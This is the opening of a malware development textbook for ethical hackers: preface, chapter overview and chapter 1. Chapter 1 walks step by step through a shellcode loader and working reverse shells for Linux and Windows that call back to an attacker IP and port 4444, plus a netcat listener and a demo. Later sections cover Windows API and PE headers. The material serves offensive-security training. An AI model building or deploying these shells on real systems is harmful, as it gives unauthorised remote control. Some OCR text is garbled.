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Preface

Welcome to our comprehensive guide on malware development and
offensive programming. In this book, we embark on a journey through the
intricate world of malware, exploring its evolution, development
techniques, and defensive strategies. From understanding the anatomy of
malware to mastering advanced cryptographic techniques, each chapter will
equip you with valuable insights and practical knowledge. Whether you’re a
cybersecurity enthusiast, a budding malware analyst, or a seasoned
professional, this book offers something for you. By the end of our journey,
you’ll be well-versed in the tools, tactics, and techniques used by both
malware creators and researchers in the ever-evolving landscape of

cybersecurity.






Who this book is for

This book is tailored for cybersecurity professionals, malware analysts,
penetration testers, and aspiring ethical hackers seeking to deepen their
understanding of malware development and offensive programming. It is
also suitable for software developers and IT professionals interested in
enhancing their knowledge of cybersecurity threats and defensive
techniques. While some familiarity with programming languages such as
C/C++, Python, or PowerShell will be beneficial, the book provides
comprehensive explanations and examples suitable for both intermediate
and advanced readers. Whether you’re looking to bolster your offensive
cybersecurity skill set or gain insights into the tactics employed by

malicious actors, this book offers valuable insights and practical examples.






What this book covers

familiarize you with the intricate domain of malware development and
offensive programming. It covers essential concepts, the structure of
malware, diverse development techniques, and basic compilation methods.
Additionally, it discusses the tools and Windows internals theory employed

by malware developers.

demonstrations of various malware injection strategies. It begins with
conventional approaches, such as code and DLL injection, and advances to

more sophisticated techniques, including thread hijacking and API hooking.

achieve persistence on a compromised system, as it significantly enhances
the stealthiness of malware, enabling it to persist even after system restarts,
logoffs, or reboots following a single injection or exploit. This chapter
concentrates exclusively on Windows systems, given their extensive
support for persistence mechanisms such as Autostart. It covers prevalent
techniques for establishing persistence on Windows machines. You will
develop basic malware and implement various methods to ensure its

persistence on the victim’s system.

delves into common privilege escalation techniques employed in Windows
operating systems. In many cases, malware may not have sufficient access

upon initial compromise to fully execute its malicious objectives. This is



where privilege escalation becomes crucial. From Access Token
Manipulation to DLL search order hijacking and bypassing User Access
Control, this chapter explores various methods and techniques. You will not
only learn about the underlying mechanisms but also witness practical

applications in real-world scenarios.

application can identify if it is being debugged or scrutinized by an analyst.
Numerous techniques exist for detecting debugging, and we’ll delve into
several of them in this chapter. While analysts can counteract each

technique, some are more intricate than others.

implement anti-virtual machine (anti-VM) measures to thwart analysis
attempts. Anti-VM techniques are prevalent in widely distributed malware,
such as bots, scareware, and spyware, primarily because VMs are
commonly used in sandboxes. Since these malware types typically target
average users’ computers, which are less likely to run VMs, anti-VM

strategies are crucial.

with anti-disassembly and anti-debugging methods to fortify their code.
Anti-disassembly involves incorporating specific code or data into a
program to deceive disassembly analysis tools, leading to an inaccurate
program listing. Malware authors employ this technique either manually,
using dedicated tools during creation and deployment, or by integrating it
into their malware’s source code. This chapter enhances the expertise

necessary for successful malware development.



enhances your malware development skills by explaining how to
circumvent AV/EDR systems. Currently, antivirus software utilizes diverse
methods to detect harmful code within files. These techniques include static
detection, dynamic analysis, and behavioral analysis, particularly in more

advanced Endpoint Detection and Response (EDR) systems.

utilized in malware and provides examples illustrating their
implementation. Hash algorithms are pivotal in malware, and are frequently
employed for diverse tasks such as verifying the integrity of downloaded

components or evading detection by altering a file’s hash.

code obfuscation or data encryption. It simplifies advanced cryptography by
focusing on basic ciphers such as the Caesar cipher, the substitution cipher,
and the transposition cipher. You will learn about these foundational
encryption methods and their mechanisms, strengths, and weaknesses.
Practical examples demonstrate their application in real malware,

illustrating how even simple ciphers can pose challenges to analysts.

Chapterll, Unveiling Common Cryptography in Malware, investigates the

prevalent cryptographic methods utilized in malware for securing

communication and safeguarding payloads.

intricate mathematical algorithms and personalized encoding methods that
certain malware creators utilize to elevate the complexity of their malware.

This chapter will scrutinize such techniques, going beyond conventional



cryptographic approaches to examine advanced mathematical algorithms
and customized encoding techniques employed by malware developers to
fortify their creations. Topics encompass custom encryption and encoding
schemes for obfuscation, as well as sophisticated mathematical constructs
and number theory. Real-world instances of malware utilizing these

advanced techniques will be employed to elucidate these concepts.

evolution of malware, analyzing iconic examples that have significantly
impacted the digital realm. Since the inception of computing, malware has
posed a persistent threat. From early viruses such as ILOVEYOU and
MyDoom to infamous worms such as Stuxnet, Carberp, and Carbanak, you
will delve into the functionalities, propagation methods, and payloads of
these historic menaces. Each case study not only elucidates fundamental
concepts of malware design and operation but also provides context for the
emergence of these threats, offering a comprehensive understanding of the
continually evolving strategies in malware development and the cyber

threat landscape.

Threats (APTs) and their significance in cybercrime. You will learn about
the characteristics of APTs, explore infamous examples, and delve into the

techniques employed by these APTs.

source code leaks on cyber security, highlighting both the opportunities they
present for researchers and the risks they pose for the proliferation of more
sophisticated malicious software. You will examine notable historical

incidents of malware source code leaks and gain an understanding of how



these leaks occur and the information they reveal. Additionally, this chapter
delves into the ways in which leaked source code has influenced the
development of advanced malware techniques. By discussing strategies for
managing and securing source code, you will also learn how to analyze

leaked code for offensive purposes.

ransomware threats, elucidating their encryption methods, communication
with command and control servers, and ransom demands. It also examines
recent trends, such as double extortion tactics and ransomware-as-a-
service (RaaS). By the chapter’s end, you will know about the mechanics
of these threats, be able to develop defenses against them, and know how to

analyze ransomware leaked code.

To get the most out of this book

Before diving into this book, you should have a basic understanding of
programming languages such as C/C++, Python, and x86/x64 Assembly.
Familiarity with Windows internals and tools such as the Windows
Sysinternals Suite will also be beneficial. While the book provides
explanations and examples suitable for both intermediate and advanced
readers, having a foundational knowledge of these concepts will enhance
comprehension and enable you to fully grasp the techniques discussed

throughout the chapters.

Software/hardware covered in the Operating system

book requirements




Mingw for Linux (GCC)

Kali Linux or Parrot Security
OS

Oracle VirtualBox 7.0

Linux or Windows

Microsoft Sysinternals Suite

Windows 7, Windows 10

Process Hacker 2

Windows 7, Windows 10

x64dbg debugger

Windows 10

PE-bear

Windows 7, Windows 10

To create and manage virtual machines, you can use VMware products
instead of Oracle VirtualBox; installation, configuration and other
documentation can be found on the official VMware website:

https://www.vmware.com/.

If you are using the digital version of this book, we advise you to type
the code yourself or access the code from the book’s GitHub repository
(a link is available in the next section). Doing so will help you avoid any

potential errors related to the copying and pasting of code.

The author of the book tested all the examples in the book, and some
research in the field of malware development has been published by the
author on various blogs, in cybersecurity magazines, and at conferences. If
some part of the code does not work as expected on your system, it is

important to understand that successfully running the examples in the book


https://www.vmware.com/

depends on the configuration of your operating system, and in some cases

even depends on the hardware of your computer.

Download the example code files

You can download the example code files for this book from GitHub at

https://github.com/PacktPublishing/Malware-Development-for-Ethical-

Hackers. If there’s an update to the code, it will be updated in the GitHub

repository.

We also have other code bundles from our rich catalog of books and videos

available at https://github.com/PacktPublishing/. Check them out!

Conventions used
There are a number of text conventions used throughout this book.

code in text: Indicates code words in text, database table names, folder
names, filenames, file extensions, pathnames, dummy URLSs, user input,
variable names, and Twitter handles. Here is an example: “Assume your
program has to call a function called meow, which is exported in a DLL

named cat.d1l.”

A block of code is set as follows:

pVirtualAlloc = GetProcAddress(GetModuleHandle("kernel32.d11"),
"VirtualAlloc");

payload_mem = pVirtualAlloc(0, payload_len, MEM_COMMIT |
MEM_RESERVE, PAGE_READWRITE);

When we wish to draw your attention to a particular part of a code block,

the relevant lines or items are set in bold:


https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers
https://github.com/PacktPublishing/

deXOR(cVirtualAlloc, sizeof(cVirtualAlloc), secretKey,
sizeof(secretKey));

pVirtualAlloc = GetProcAddress(GetModuleHandle("kernel32.d11"),
cVirtualAlloc);

Any command-line input or output is written as follows:

$ x86_64-w64-mingw32-g++ -02 hack3.c -o hack3.exe -
I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-
sections -Wno-write-strings -fno-exceptions -fmerge-all-constants
-static-libstdc++ -static-libgcc -fpermissive

Bold: Indicates a new term, an important word, or words that you see
onscreen. For instance, words in menus or dialog boxes appear in bold.
Here is an example: “Then, on the Network tab, we’ll notice that our

process has established a connection to the attacker’s host IP address.”

TIPS OR IMPORTANT NOTES

Appeatr like this.

Get in touch
Feedback from our readers is always welcome.

General feedback: If you have questions about any aspect of this book,

email us at customercare@packtpub.com and mention the book title in the

subject of your message.

Errata: Although we have taken every care to ensure the accuracy of our
content, mistakes do happen. If you have found a mistake in this book, we
would be grateful if you would report this to us. Please visit

www.packtpub.com/support/errata and fill in the form.
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http://www.packtpub.com/support/errata

Piracy: If you come across any illegal copies of our works in any form on
the internet, we would be grateful if you would provide us with the location

address or website name. Please contact us at copyright@packt.com with a

link to the material.

If you are interested in becoming an author: If there is a topic that you
have expertise in and you are interested in either writing or contributing to a

book, please visit authors.packtpub.com.

Share Your Thoughts

Once you’ve read Malware Development for Ethical Hackers, we’d love to

hear your thoughts! Please click here to go straight to the Amazon review

page for this book and share your feedback.

Your review is important to us and the tech community and will help us

make sure we’re delivering excellent quality content.

Download a free PDF copy of this book
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Part 1. Malware Behavior: Injection,
Persistence, and Privilege Escalation
Techniques

In this part, we explore the fundamental behaviors of malware, examining
how it operates within systems, maintains persistence, and gains elevated
privileges to carry out its malicious objectives. With a deep explanation of
malware development and coverage of advanced techniques such as
injection attacks and privilege escalation, this section provides a solid
foundation for you to explore the complex realm of offensive programming

and cybersecurity.

This part contains the following chapters:



A Quick Introduction to Malware
Development

Malware development represents a paradoxical frontier in the world of
ethical hacking and cybersecurity engineering. On one side, it is the realm
of nefarious hackers intent on wreaking havoc, stealing information, and
disrupting systems. On the other hand, it is the playground of ethical
hackers and cybersecurity engineers who seek to understand the inner
workings of malicious software to better protect and fortify systems against
them. In essence, malware development is the process of creating software
with the intent of causing harm, unauthorized access, or disruption of
services. But for cybersecurity professionals, it provides a pathway to
deeper knowledge and comprehensive understanding of threats, helping to

stay a step ahead of adversaries.

In this chapter, we’re going to cover the following main topics:

What is malware development?

Unpacking malware functionality and behavior

Leveraging Windows internals for malware development

Exploring PE-files (EXE and DLL)

The art of deceiving a victim’s systems



Technical requirements

In this book, I will use the Kali Linux (https://www.kali.org/) and Parrot

Security OS (https://www.parrotsec.org/) virtual machines for development

and demonstration and Windows 10 (https://www.microsoft.com/en-

us/software-download/windows10ISO) as the victim’s machine.

In the book’s repository, you can find instructions for setting up virtual

machines according to the VirtualBox documentation.

The next thing we’ll want to do is set up our development environment in
Kali Linux. We’ll need to make sure we have the necessary tools installed,

such as a text editor, compiler, etc.

I just use NeoVim (https://github.com/neovim/neovim) with syntax

highlighting as a text editor. Neovim is a great choice for a lightweight,
efficient text editor, but you can use another you like, for example, VSCode

(https://code.visualstudio.com/).

As far as compiling our examples, I use MinGW (https://www.mingw-

wb64.org/) for Linux, which is installed in my case via the following

command:

$ sudo apt install mingw-*

The code for this chapter can be found at this link:
https://github.com/PacktPublishing/Malware-Development-for-Ethical-
Hackers/blob/main/chapter01/.

What is malware development?
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Whether you’re a specialist in red team or pentesting operations, gaining
knowledge of malware development techniques and tricks offers an
encompassing view of sophisticated attacks. Furthermore, considering that
a significant portion of traditional malwares are developed under Windows,

it inherently provides a practical understanding of Windows development.

Malware is a type of software designed to conduct malicious actions, such
as gaining unauthorized access to a computer or stealing sensitive
information from a computer. The term malware is typically associated
with illegal or criminal activity, but it can also be used by ethical hackers,
such as penetration testers and red teamers, to execute an authorized

security assessment of an organization.

Developing custom tools, such as malware, that have not been analyzed or
signed by security vendors provides the attacking team with an advantage in
terms of detection. This is where knowledge of malware development

becomes crucial for a more effective offensive security assessment.

A simple example

Malware can theoretically be written in any programming language,
including C, C++, C#, Python, Go, Powershell, and Rust. However, there
are a few reasons why some programming languages are more popular than

others for malware development.

For example, the simplest malware in C looks like that which can be found

at https://github.com/PacktPublishing/Malware-Development-for-Ethical-

Hackers/blob/main/chapter01/01-whatis-malware-dev/hack.c.



https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter01/01-whatis-malware-dev/hack.c
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter01/01-whatis-malware-dev/hack.c

In a nutshell, here’s the basic flow. The program allocates a chunk of

memory:

// reserve and commit memory for the payload
memory_for_payload = VirtualAlloc(©, payload_len, MEM_COMMIT |
MEM_RESERVE, PAGE_READWRITE);

Then, it copies the payload into the allocated memory:

Rt IMoveMemory (memory_for_payload, actual_payload, payload_len);

It changes the memory’s permission so that it can be executed:

operation_status = VirtualProtect(memory_for_payload,
payload_len, PAGE_EXECUTE_READ, &previous_protection_level);

It creates a new thread of execution and starts running the payload in that

new thread:

if ( operation_status !'= 0 ) {
// execute the payload
thread_handle = CreateThread(©0, 0, (LPTHREAD_START_ROUTINE)
memory_for_payload, 0, 0, 0);
WaitForSingleObject(thread_handle, -1);

}

return 0O,

A lot of things will seem incomprehensible to you, although perhaps some
readers have already encountered something similar. Generally, this simple

piece of C++ code demonstrates a basic form of malware.
IMPORTANT NOTE
All examples will be written in C/C++ languages

C/C++ has long been a preferred language for both malware development

and the broader field of adversary simulation. The efficiency and low-level



access to system resources provided by these languages make them highly
effective tools in the hands of skilled developers exploring vulnerabilities,

exploits, and threat modeling.

Unlike higher-level languages, C/C++ allows for direct manipulation of
hardware and memory, offering unparalleled control and flexibility in
crafting code that interacts with operating systems, network protocols, and

other core computing components.

This granular control enables the creation of complex, stealthy, and tailored
malware that can evade detection, manipulate system behavior, and carry
out sophisticated attacks. Additionally, understanding C/C++ provides
insights into how operating systems and software fundamentally work,
forming a critical foundation for anyone studying or engaging in

cybersecurity.

This knowledge not only helps in developing effective countermeasures but
also allows for realistic and informed adversary simulations, reproducing
real-world attack scenarios for research, training, and defensive strategy

planning.

Thus, proficiency in C/C++ becomes a potent asset in the continuously
evolving battlefield of cyber warfare, where understanding and simulating
the adversary’s capabilities is key to developing robust and resilient

defenses.

Unpacking malware functionality and
behavior



This chapter provides an overview of the various malware behaviors, some
of which you may already be familiar with. My objective is to provide a
summary of common behaviors and to equip you with a well-rounded
knowledge base that will enable you to develop a variety of malicious
applications. Because new malware is constantly being created with
seemingly limitless capabilities, I cannot possibly cover every type of

malware, but I can give you a decent idea of what to look for.

Types of malware

Let’s start by discussing some of the most common types of malware. There
are many different categories, but we can start by talking about viruses,
worms, and trojans. Viruses are pieces of code that attach themselves to
other programs and replicate themselves, often causing damage in the
process. Worms are similar to viruses, but they are self-replicating and can
spread across networks without human intervention. Trojans are pieces of
software that appear to be legitimate but actually have a hidden, malicious

purpose.
Certainly, here are brief descriptions of some common malware behaviors:

e Backdoors: Malware with a backdoor capability allows an attacker to
breach normal authentication or encryption in a computer, product, or
embedded device, or sometimes its protocol. Backdoors provide
attackers with invisible access to systems, enabling them to remotely

control the victim’s machine for various malicious activities.

e Downloaders: Downloaders are a type of malware that, once installed

on a victim’s system, downloads and installs other malicious software.



These are often used in multi-stage attacks where the downloader
serves as a means to bring in more advanced, and sometimes tailored,

threats onto the compromised machine.

Trojan: Trojan malware is malicious software that disguises itself as
legitimate software. The term is derived from the Ancient Greek story
of the deceptive wooden horse that led to the fall of the city of Troy.
Trojans can allow cyber-thieves and hackers to spy on you, steal your

sensitive data, and gain backdoor access to your system.

Remote access trojans (RATs): RATs provide the attacker with
complete control over the infected system. They can be used to install
additional malware, send data to a remote server, interfere with the
operation of devices, modify system settings, run or terminate
applications, and more. RATs can be particularly dangerous because

they often remain undetected by antivirus software.

Stealers: These types of malware are designed to extract sensitive data
from a victim’s system, including passwords, credit card details, and
other personal information. Once the data is stolen, it can be used for
malicious purposes such as identity theft or financial fraud, or even

sold on the dark web.

Bootkits: A bootkit is a malware variant that infects the master boot
record (MBR). By attacking the startup routine, the bootkit ensures
that it loads before the operating system, remaining hidden from
antivirus programs. Bootkits often provide backdoor access and are

notoriously difficult to detect and remove.



e Reverse shells: In the context of a reverse shell, the attacking machine
obtains communications from the target machine. A listener port is
present on the attacking machine, through which it obtains the
connection, providing a covert channel that bypasses firewall or router
restrictions on the target machine. This can provide command-line

access and, in some cases, full control over the target machine.

These descriptions should give you a decent understanding of the typical
behaviors associated with various malware types. The focus on reverse
shells underlines their significance in the modern threat landscape. They are
a favorite tool for many attackers due to their ability to evade detection

while granting substantial control over a compromised system.

Reverse shells
The reverse shell can utilize standard outbound ports, such as ports 8e, 443,
8080, etc.

The reverse shell is typically used when the victim machine’s firewall
blocks incoming connections from a specific port. Red teamers and

pentesters use reverse ports to circumvent this firewall restriction.

There is, however, a caveat. This exposes the attacker’s control server, and

network security monitoring services may be able to detect traces.
Three stages are required to create a reverse shell:

1. First, an adversary exploits a system or network flaw that allows code

execution on the target.



2. An adversary then installs a listener on their own system.

3. The vulnerability is exploited by an adversary injecting a reverse shell

on a vulnerable system.

There is one additional caveat. In actual cyberattacks, the reverse shell can

also be obtained through social engineering. For instance, malware installed

on a local workstation through a phishing email or a malicious website

could initiate an outgoing connection to a command server and provide

hackers with a reverse shell capability.

Practical example: reverse shell

First of all, let’s go to write a simplest reverse shell for Linux machines:

https://github.com/PacktPublishing/Malware-Development-for-Ethical-

Hackers/blob/main/chapter01/02-reverse-shell-linux/hack?2.c

Let’s analyze what this code does in detail:

1. First, include the required headers:

#include
#include
#include
#include
#include

<stdio.h>
<unistd.h>
<netinet/ip.h>
<arpa/inet.h>
<sys/socket.h>

These include statements importing the necessary libraries for network

communication and process creation.

IP address of the attacker:

const char* attacker_ip = "10.10.1.5";


https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter01/02-reverse-shell-linux/hack2.c
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter01/02-reverse-shell-linux/hack2.c

The IP address of the attacker’s machine to which the reverse shell

should communicate back.

. In the next step, we prepare the target victim’s address:

struct sockaddr_in target_address;
target_address.sin_family = AF_INET;
target_address.sin_port = htons(4444);
inet_aton(attacker_ip, &target_address.sin_addr);

This sets up a sockaddr_in structure with the target IP address and
port. The IP address is converted from human-readable format to a
struct in_addr using the inet_aton() function. The port is specified as

4444 and is converted to network byte order using htons().

. Then, create new socket:

int socket_file_descriptor = socket(AF_INET, SOCK_STREAM, 0);
This is called socket () to create a new TCP/IP socket.

. Connect to the attacker’s server:

connect(socket_file_descriptor, (struct sockadr
*)&target_address, sizeof(target_address));

This tries to connect the socket to the specified IP address and port.

. Then, the most important part is redirecting standard input, output, and

error to the socket:

for (int index = 0; index < 3; index++) {

// dup2(socket_file_descriptor, 0) - link to standard
input

// dup2(socket_file_descriptor, 1) - link to standard
output

// dup2(socket_file_descriptor, 2) - 1link to standard



error
dup2(socket_file_descriptor, index);

}

dup2() is used to duplicate the socket file descriptor to the file
descriptors for standard input, standard output, and standard error. This
means that all input to and output from the subsequent shell will go

over the network connection.

6. Spawn a shell:

execve("/bin/sh", NULL, NULL);

Finally, execve() is called to replace the current process image with a new
process image. In this case, it starts a new shell "/bin/sh". Because of the
previous dup2() calls, this shell will communicate over the network

connection.

As you can see, this is a simple dirty proof of concept and doesn’t contain

any error checking.

Practical example: reverse shell for
Windows

Therefore, let’s code a straightforward Windows reverse shell. This is the
pseudo code of a Windows shell:

1. Initialize the socket library through a wsastartup call.

2. Create the socket.

3. Connect the socket to a remote host and port (the host of the attacker).



4. Launch cmd. exe.

First of all, set up the required libraries, variables, and structures:

#include <stdio.h>

#include <winsock2.h>

#pragma comment(lib, "w2_32")
WSADATA socketData;

SOCKET mainSocket;

struct sockaddr_in connectionAddress;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;

5. Then, set the IP address and port to connect back to (which are

currently set to 10.10.1.5 and 4444):

char *attackerIP = "10.10.1.5";
short attackerPort = 4444,

6. This part is called socket initialization. The Windows Sockets library

is initialized with wsAstartup and a socket is created with wsAsocket:

// initialize socket library

WSAStartup (MAKEWORD(2, 2), &socketData);

// create socket object

mainSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,
NULL, (unsigned int)NULL, (unsigned int)NULL);

7. After that, the socket address structure is filled with the IP and port

information and a connection is attempted using WSAConnect:

connectionAddress.sin_family = AF_INET;
connectionAddress.sin_port = htons(attackerPort);
connectionAddress.sin_addr.s_addr = inet_addr(attackerIP);
// establish connection to the remote host

WSAConnect (mainSocket, (SOCKADDR*)&connectionAddress,
sizeof (connectionAddress), NULL, NULL, NULL, NULL);



8. Okay, let’s go to setting up process creation logic. STARTUPINFO is set to
use the socket as standard input, output, and error handles. Then,
CreateProcess is called to start a command prompt with these
redirected I/O handles:

memset (&startupInfo, 0, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);

startupInfo.dwFlags = STARTF_USESTDHANDLES;
startupInfo.hStdInput = startupInfo.hStdOutput =
startupInfo.hStdError = (HANDLE) mainSocket;

// initiate cmd.exe with redirected streams
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, O, NULL,
NULL, &startupInfo, &processInfo);

Finally, the full source code looks like this:
https://github.com/PacktPublishing/Malware-Development-for-Ethical-

Hackers/blob/main/chapter01/03-reverse-shell-windows/hack3.c

Next, let’s demonstrate this logic!

Demo

First, we compile our reverse shell malware:

$ i1686-w64-mingw32-g++ hack3.c -o hack3.exe -lws2_32 -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-
exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
-fpermissive

Here’s a brief explanation of each flag used in the command:

e -0 hack3.exe: This specifies the output file name for the compiled

executable.


https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter01/03-reverse-shell-windows/hack3.c
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter01/03-reverse-shell-windows/hack3.c

-lws2_32: This links the Winsock library (ws2_32.1ib), which is

necessary for networking operations on Windows platforms.

-s: This requests the compiler to strip symbol table and relocation

information from the executable, reducing its size.

-ffunction-sections: This tells the compiler to place each function
into its own section in the output file. This flag is often used in
combination with the linker flag - -gc-sections to remove unused

code.

-fdata-sections: Similar to -ffunction-sections, this flag instructs

the compiler to place each global variable into its own section.

-Wno-write-strings: This suppresses warnings related to writing to
string literals. It tells the compiler not to warn when code attempts to

modify string literals, which is undefined behavior.

-fno-exceptions: This disables exception handling support. This flag
tells the compiler not to generate code for exception handling

constructs such as try-catch blocks.

-fmerge-all-constants: This enables the merging of identical
constants. The compiler tries to merge identical constants into a single

instance, reducing the size of the executable.

-static-libstdc++: This links the C++ standard library statically so
that the resulting executable does not depend on a dynamic link to

libstdc++ at runtime.

-static-libgcc: This links the GCC runtime library statically,

ensuring that the resulting executable does not depend on a dynamic



link to libgcc at runtime.

e -fpermissive: This relaxes some language rules to accept non-
conforming code more easily. It allows the compiler to be more
permissive when encountering non-standard or potentially unsafe

constructs.
In almost all the code examples in this book, I will use these flags when
compiling.

On the Kali Linux machine, it looks like this:
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total 20
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xr-xr=x 1 cocomelonc cocomelonc 1384 Feb 23 03:27 hackd.c
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Figure 1.1 — Compiling hack3.c
Next, let us do the following:

1. Prepare the listener with netcat:

$ nc -nlvp 4444

On the Parrot Security OS machine, it looks like this:

E}J"q-:.-u B G .F".u. ¥

gparrot

Figure 1.2 — Netcat listener from attacker’s machine

2. Then, execute the shell from our victim’s machine (Windows 10 x64 in

my case):



$ .\hack3.exe

This looks like this on Windows 10 x64 VM:
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Windows PowerShell
Copyright (C) Microsoft Corporation. ALL rights reserved.

Try the new cross-platform Powershell https://aka.ms/pscoreé
PS C:\Users\user> ipconfig.exe

Windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific ONS Suffix . :
Link-local IPvé Address . . . . . : fe89::68:1892: 2¢2b: add2N14
IPvd AOOMESS. . . . o v vv 00 s ) 18,10,1.4
Subnet Mask . . . .. ... .. o b 205,200.200.0
Default Gateway 18.10.1.1
PS C:\Users\user> cd Z:\packtpub\chapter8l\e3-reverse-shell-windows\
PS 7:\packtpub\chapterdl\@3- reverse-shell-windows) . \hackd,exe
PS 1:\packtpub\chapterdl\@3-reverse-shell-windows) whoami
desktop-otfidvi\user

PS 2:\packtpub!\chapter®1\@3-reverse-shell-windows

Figure 1.3 — Reverse shell spawning

As can be seen, everything is operating as expected!



Essentially, this is how a reverse shell can be created for Windows

machines.

Leveraging Windows internals for
malware development

The Windows API allows developers to interact with the Windows
operating system via their applications. For instance, if an application needs
to display something on the screen, modify a file, or download something
from the internet, all of these tasks can be accomplished through the
Windows API. Microsoft provides extensive documentation for the
Windows API, which can be viewed on MSDN.

Practical example

Here is a straightforward C program that uses the Windows API to retrieve
and display the name of the current user. Remember that, while this
program is not inherently harmful, comprehending these principles can
serve as a stepping stone to the development of more complex (potentially

harmful) programs. Use this information responsibly at all times:

#include <windows.h>

#include <stdio.h>

int main() {
char username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
printf("current user is: %s\n", username);
return 0,



In this code, Getusername is a Windows API function that retrieves the name
of the user associated with the current thread. uNLEN is a constant defined in
lmcons . h (which is included in windows. h) that specifies the maximum

length for a user name.

Please note that compiling this program requires linking against the

advapi32.lib library.

The majority of Windows API functions are available in either “A” or “W”
variants. GetUserNameA and GetUserNamew are two examples. The functions
ending in A are intended to denote “ANSI” whereas those ending in w

represent Unicode or “Wide”.

ANSI functions, if applicable, will accept ANSI data types as parameters,
whereas Unicode functions will accept Unicode data types. For instance,
the first parameter for GetuserNameA is an LPSTR, which is a pointer to a
string of Windows ANSI characters terminated by a null character. In
contrast, the first parameter for GetuserNamew is LPWSTR, a pointer to a

constant 16-bit Unicode string terminated with a null character.

Furthermore, the number of required bytes will differ depending on which

version is used:

char si1[] = "malware"; // 8 bytes (malware + null byte).
wchar s2[] = L"malware"; // 16 bytes, each character is 2 bytes.
The null byte is also 2 bytes

Malware development requires a deep understanding of the tools and
techniques that make it possible to interact with, manipulate, and
investigate processes and memory within the Windows operating system. A

crucial part of this knowledge involves the Windows debugging APIs, a



set of functions provided by the Windows operating system that can be
utilized to manipulate memory and processes. This chapter will also
introduce some of these APIs and provide examples of how they can be

used in the context of ethical hacking and malware development:

e virtualAlloc: This function is used to reserve or commit (or both) a
region of pages within the virtual address space of the calling process.
Memory allocated by this function is automatically initialized to zero,
which mitigates certain types of program bugs. This function is
frequently used by malware to allocate memory for storing executable

code or data.

e virtualProtect: This function changes the protection on a region of
committed pages in the virtual address space of the calling process.
Malware often uses this function to change memory protections to
allow writing to regions of memory that are typically read-only or to

execute regions of memory that are typically non-executable.

e RtMoveMemory: This function moves the contents of a source memory
block to a destination memory block and supports overlapping source
and destination blocks. While this function is often used for simple
memory operations in regular applications, in the context of malware,

it could be used to manipulate code or data in memory.

e createThread: This function creates a thread to execute within the
virtual address space of the calling process. Malware can use threads
to carry out concurrent operations, such as communicating with a
command-and-control server while also encrypting a victim’s files in a

ransomware attack.



Now we will look at one of the most important and fundamental concepts in

the world of malware development.

Exploring PE-file (EXE and DLL)

What is the PE-file format? It is the native file format of Win32. It derives
some of its specifications from Unix Coff (common object file format). The
meaning of portable executable is that the file format is ubiquitous across
the Win32 platform; the PE loader of each Win32 platform recognizes and
uses this file format, even when Windows is running on CPU platforms
other than Intel. It does not imply that your PE executables can be migrated
without modification to other CPU platforms. Consequently, analyzing the

PE file format offers valuable insights into the Windows architecture.

The PE file format is fundamentally defined by the PE header, so you
should read about that first. You don’t need to comprehend every aspect of
it, but you should understand its structure and be able to identify the most

essential components:

e DOS header: The DOS header contains the information required to
launch PE files. Therefore, this preamble is required for PE file
loading:

typedef struct _IMAGE_DOS_HEADER {
// Header for DOS .EXE files
WORD e_magic;
// Identifier for the format (Magic number)
WORD e_cblp;
// Byte count on the file's last page
WORD e_cp;
// Number of pages in the file
WORD e_crlc;



//

//

//

//

//

//

//

//

//

//

//

//

//

//

//

//

Count of relocations
WORD e_cparhdr;
Header size in paragraphs
WORD e_minalloc;
Minimum additional paragraphs required
WORD e_maxalloc;
Maximum additional paragraphs needed
WORD e_ss;
Initial relative SS (stack segment) value
WORD e_sp;
Initial stack pointer (SP) value
WORD e_csum;
File's checksum
WORD e_ip;
Initial instruction pointer (IP) value
WORD e_cs,
Initial relative code segment (CS) value
WORD e_Llfarlc;
Address of the file's relocation table
WORD e_ovno;
Number for overlay
WORD e_res[4];
wWords reserved for future use
WORD e_oemid;
Identifier for OEM; relates to e_oeminfo
WORD e_oeminfo;
Specific OEM information; tied to e_oemid
WORD e_res2[10];
Additional reserved words
LONG e_1lfanew;
Address pointing to the new exe header

} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

Its size is 64 bytes. The most significant fields in this structure are

e_magic and e_1fanew. The first two bytes of the file header are 4p, 5A

or mz, which are the initials of Mark Zbikowski, a Microsoft engineer

who worked on DOS. These magic characters identify the file as a PE

format:
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Figure 1.4 — Magic bytes 4d 5a

e_1fanew: Located at the offset ex3c within the DOS header, this element

holds the offset pointing to the PE header:
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Figure 1.5 — e_Ifanew

e DOS stub: Following the initial 64 bytes of a file is a DOS stub. This

memory region is generally full of zeros:
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Figure 1.6 — DOS stub

e PE header: This component is tiny and contains only a file signature

consisting of the magic bytes PE\e\o or 50 45 00 @@:
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Figure 1.7 — PE header

Its construction in C is as follows:

typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;

// Signature to identify the PE file format
IMAGE_FILE_HEADER FileHeader;

// Main file header with basic information
IMAGE_OPTIONAL_HEADER32 OptionalHeader;

// Optional header with additional information



} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
// Definition for 32-bit structure and pointer

Let’s examine this structure closely:

e File header (or COFF header): This is a set of fields describing the

file’s fundamental characteristics:

typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

In PE-bear (which you can access at

https://github.com/hasherezade/pe-bear, unless you are using another
tool), it looks like this:



https://github.com/hasherezade/pe-bear
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Figure 1.8 — File header

e Optional header: In the context of COFF object files, it is optional,
